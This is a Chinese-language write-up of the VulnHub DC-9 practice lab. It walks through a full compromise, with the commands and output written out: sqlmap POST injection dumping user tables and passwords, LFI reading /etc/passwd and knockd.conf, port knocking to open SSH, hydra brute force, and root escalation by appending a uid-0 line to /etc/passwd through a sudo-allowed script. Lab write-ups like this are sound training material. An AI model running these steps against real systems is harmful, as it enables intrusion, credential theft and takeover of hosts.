靶机下载地址:https://download.vulnhub.com/dc/DC-9.zip
靶机描述:DC-9 是另一个专门构建的易受攻击的实验室,旨在获得渗透测试领域的经验。这一挑战的最终目标是获得root,并阅读唯一的flag。
涉及漏洞:SQL注入、LFI
攻击机:Kali/192.168.0.104
一、信息收集
1.探测目标
$ sudo arp-scan -l
或者
$ sudo netdiscover -i eth0
2.查看目标开放端口
$ sudo nmap -sV -p 0-6553 192.168.0.105
目标靶机开放了80端口,22端口显示被过滤掉了
3.查看网页相关信息
使用浏览器插件Wappalyzer
,这个插件可以检测网站的CMS,框架,服务器等信息,
但是没有检测到CMS信息
二、漏洞查找与利用
1.SQL注入
在页面发现一个search框,可以查询用户信息,与数据库有交互,猜测可能存在SQL注入,随便输入数据查询,URL框没有改变,说明是POST方式提交,Burp抓包检测是否存在SQL注入的可能
可以看出确实存在POST型SQL注入,网站应该对注入做了一些应对措施。过滤啊,屏蔽报错啊
居然存在注入,话不多说,直接上SQLmap跑
sqlmap -u "http://192.168.0.105/results.php" --data "search=1" --dbs
available databases [3]:
[*] information_schema
[*] Staff
[*] users
--data:指定的数据会被作为POST数据提交
发现Staff和users数据库,先看看users库中有什么
users数据库
sqlmap -u "http://192.168.0.105/results.php" --data "search=1" -D users --tables
Database: users
[1 table]
+-------------+
| UserDetails |
+-------------+
sqlmap -u "http://192.168.0.105/results.php" --data "search=1" -D users -T UserDetails --dump
Database: users
Table: UserDetails
[17 entries]
+----+------------+---------------+---------------------+-----------+-----------+
| id | lastname | password | reg_date | username | firstname |
+----+------------+---------------+---------------------+-----------+-----------+
| 1 | Moe | 3kfs86sfd | 2019-12-29 16:58:26 | marym | Mary |
| 2 | Dooley | 468sfdfsd2 | 2019-12-29 16:58:26 | julied | Julie |
| 3 | Flintstone | 4sfd87sfd1 | 2019-12-29 16:58:26 | fredf | Fred |
| 4 | Rubble | RocksOff | 2019-12-29 16:58:26 | barneyr | Barney |
| 5 | Cat | TC&TheBoyz | 2019-12-29 16:58:26 | tomc | Tom |
| 6 | Mouse | B8m#48sd | 2019-12-29 16:58:26 | jerrym | Jerry |
| 7 | Flintstone | Pebbles | 2019-12-29 16:58:26 | wilmaf | Wilma |
| 8 | Rubble | BamBam01 | 2019-12-29 16:58:26 | bettyr | Betty |
| 9 | Bing | UrAG0D! | 2019-12-29 16:58:26 | chandlerb | Chandler |
| 10 | Tribbiani | Passw0rd | 2019-12-29 16:58:26 | joeyt | Joey |
| 11 | Green | yN72#dsd | 2019-12-29 16:58:26 | rachelg | Rachel |
| 12 | Geller | ILoveRachel | 2019-12-29 16:58:26 | rossg | Ross |
| 13 | Geller | 3248dsds7s | 2019-12-29 16:58:26 | monicag | Monica |
| 14 | Buffay | smellycats | 2019-12-29 16:58:26 | phoebeb | Phoebe |
| 15 | McScoots | YR3BVxxxw87 | 2019-12-29 16:58:26 | scoots | Scooter |
| 16 | Trump | Ilovepeepee | 2019-12-29 16:58:26 | janitor | Donald |
| 17 | Morrison | Hawaii-Five-0 | 2019-12-29 16:58:28 | janitor2 | Scott |
+----+------------+---------------+---------------------+-----------+-----------+
这里是那些员工这账号和密码,后面可能会用到,先放着,然后我们再看看Staff库里面有啥
Staff数据库
sqlmap -u "http://192.168.0.105/results.php" --data "search=1" -D Staff --tables
Database: Staff
[2 tables]
+--------------+
| StaffDetails |
| Users |
+--------------+
sqlmap -u "http://192.168.0.105/results.php" --data "search=1" -D Staff -T StaffDetails --dump
sqlmap -u "http://192.168.0.105/results.php" --data "search=1" -D Staff -T Users --dump
#dump完密码的时候会提示你是否解密md5,你选择SQLmap自带的字典就可以跑出明文密码
得到用户名和密码:admin/transorbital1然后使用这个用户去站点登录
2.本地文件包含LFI
登录后多了Add Record和Manage
页面,在Manage
的下面发现了一句话File does not exits
,猜测可能存在文件包含漏洞,猜测文件参数是file
?file=../../../../etc/passwd
果然存在LFI漏洞,接下来是fuzz
一下系统文件
[图片上传失败...(image-9da6e3-1593651884334)]
发现了/etc/knockd.conf
,这就和之前nmap
扫描靶机运行了SSH服务,但是状态是filtered
对应起来了,因为knockd
可以对SSH进行防护
3.端口敲门
knockd
字面意思是敲,只是这里敲的是端口
,而且需要按照顺序‘敲’端口。如果敲击规则匹配,则可以让防火墙实时更改策略。从而达到开关防火墙的目的。
更多详细请看:
Port-knocking 简单教程
端口敲门服务
保护 SSH 的三把锁
看一下/etc/knockd.conf
文件中的自定义端口
有3个自定义端口7469,8475,9842
,根据Port-knocking
的规则依次访问这三个端口就可以打开SSH服务了
sudo nmap -p 7469 192.168.0.105
sudo nmap -p 8475 192.168.0.105
sudo nmap -p 9842 192.168.0.105
或者安装knockd
knock 192.168.0.105 7469 8475 9842
现在我们看一哈ssh服务被敲开没有
sudo nmap -p 22 192.168.0.105
不出所料SSH服务被成功敲开
4.hydra爆破SSH账户
将前面所爆出来的那些员工的账号和密码编写成两个字典,进行ssh爆破
username.txt | password.txt |
---|---|
|
|
hydra -L username.txt -P password.txt ssh://192.168.0.105
爆破出来有3个用户可用,chandlerb\UrAG0D!
、joeyt\Passw0rd
、janitor\Ilovepeepee
依次登录3个用户,最终在用户janitor
的目录下找到了隐藏文件
ssh [email protected]
UrAG0D!
ssh [email protected]
Passw0rd
ssh [email protected]
Ilovepeepee
.secrets-for-putin
隐藏文件中有一个可读文件,打开后这好像是存放的用户密码,然后把这些密码再加进刚刚我们编写的password.txt
字典中重新再爆破一次看看
爆破出了一个新的用户号:fredf\B4-Tru3-001
三、提升权限
使用fredf
用户登录靶机
ssh [email protected]
B4-Tru3-001
列出sudo权限的命令,这里发现fred用户在NOPASSWD
的情况下可以使用root权限运行这个test文件
sudo -l
尝试运行,发现它是一个python文件
使用find查找test.py文件
find / -name test.py 2>/dev/null
2>/dev/null 代表忽略掉错误提示信息。
查看test.py
py文件的含义为:读取参数1的内容,然后将参数1的内容写入到参数2的内容中。
那我们可以构造一个root权限用户,将该用户信息写入文件内,将改文件作为参数1,/etc/passwd
作为参数2,这样就创建了一个root权限用户,就能实现提权了
构造参数1
openssl passwd -1 -salt admin 123456
-1 的意思是使用md5加密算法
-salt 自动插入一个随机数作为文件内容加密
admin 123456 用户名和密码
根据/etc/passwd
的格式,修改一下,然后存入一个文件里,这个文件就是参数1
echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/passwd
# 用户名:密码:uid:gid:家目录:登陆后使用的shell
sudo ./test /tmp/passwd /etc/passwd
su admin
cd /root
ls
cat theflag.txt
前往我的个人博客看更多:https://jwt1399.top